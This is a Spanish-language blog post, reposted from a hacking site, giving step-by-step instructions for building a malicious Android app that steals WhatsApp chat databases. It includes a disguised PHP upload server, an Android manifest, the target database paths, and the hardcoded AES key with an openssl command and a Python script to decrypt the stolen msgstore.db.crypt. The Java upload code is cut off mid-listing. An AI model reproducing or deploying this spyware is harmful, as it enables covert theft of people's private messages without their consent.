sábado, 15 de marzo de 2014

robar y leer chats de WhatsApp en Android

Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).

tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:

<?php // Upload script to upload Whatsapp data base // This script is for testing purposes on ly.

$uploaddir = "/tmp/whatsapp/";

if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error "] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name "] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size" ] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["file"]["t mp_name"];

$uploadfile = $uploaddir . $_SERVER['RE MOTE_ADDR'] . "." . basename($_FILES['fil e']['name']); move_uploaded_file($_FILES['file']['tmp _name'], $uploadfile); } ?>

<html><head><title>Shoo.. nothing here</t itle></head><body><form method="post" enc type="multipart/form-data"><input type="f ile" name="file" id="file"><input type="s ubmit" value="Submit"></form></body></htm l>

Después debemos configurar nuestro php.ini para subir ficheros grandes:

... file_uploads = On post_max_size = 32M upload_max_filesize = 32M

Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:

<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.a ndroid.com/apk/res/android" package="bb.security.whatsappupload" android:versionCode="1" android:versionName="1.0" >

<uses-permission android:name="androi d.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="androi d.permission.INTERNET" />

<uses-sdk android:minSdkVersion="8" android:targetSdkVersion="19" />

<application android:allowBackup="true" android:icon="@drawable/ic_launch er" android:label="@string/app_name" android:theme="@style/AppTheme" >

<activity android:name="bb.security.wha tsappupload.MainActivity" android:label="@string/app_na me" > <intent-filter> <action android:name="and roid.intent.action.MAIN" />

<category android:name="a ndroid.intent.category.LAUNCHER" /> </intent-filter> </activity> </application>

</manifest>

Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:

<RelativeLayout xmlns:android="http://sch emas.android.com/apk/res/android" xmlns:tools="http://schemas.android.c om/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activit y_vertical_margin" android:paddingLeft="@dimen/activity_ horizontal_margin" android:paddingRight="@dimen/activity _horizontal_margin" android:paddingTop="@dimen/activity_v ertical_margin" tools:context=".MainActivity" >

<TextView android:layout_width="wrap_conten t" android:layout_height="wrap_conte nt" android:layout_alignParentTop="tr ue" android:layout_centerHorizontal=" true" android:layout_marginTop="179dp" android:text="@string/hello_world " android:textSize="24sp" />

</RelativeLayout>

A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:

- /WhatsApp/Databases/msgstore.db - /WhatsApp/Databases/wa.db - /WhatsApp/Databases/msgstore.db.crypt

package bb.security.whatsappupload;

/* * This application is for testing purpose s only. * Use of this application is at your own risk. */

import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL;

import android.os.AsyncTask; import android.os.Bundle; import android.os.Environment; import android.app.Activity; import android.app.ProgressDialog; import android.util.Log; import android.view.Menu;

public class MainActivity extends Activit y {

msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482 177652c.

Por lo tanto podremos descifrarla una vez obtenido mediante:

openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372 482177652c

o mediante el siguiente script en Python:

#!/usr/bin/env python

import sys from Crypto.Cipher import AES

try: wafile=sys.argv[1] except: print "Usage: %s <msgstore.db.crypt>" % __file__ sys.exit(1)

key = "346a23652a46392b4d73257c67317e352e 3372482177652c".decode('hex') cipher = AES.new(key,1) open('msgstore.db',"wb").write(cipher.dec rypt(open(wafile,"rb").read()))

Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos

FUENTE: http://www.hackplayers.com/2014/03/aplicacion-android-para-robar-y-leer-whatsapp.html


Usamos cookies para el uso de datos propias y de terceros. Al entrar al sitio aceptas los términos y condiciones de las mismas 


No hay comentarios: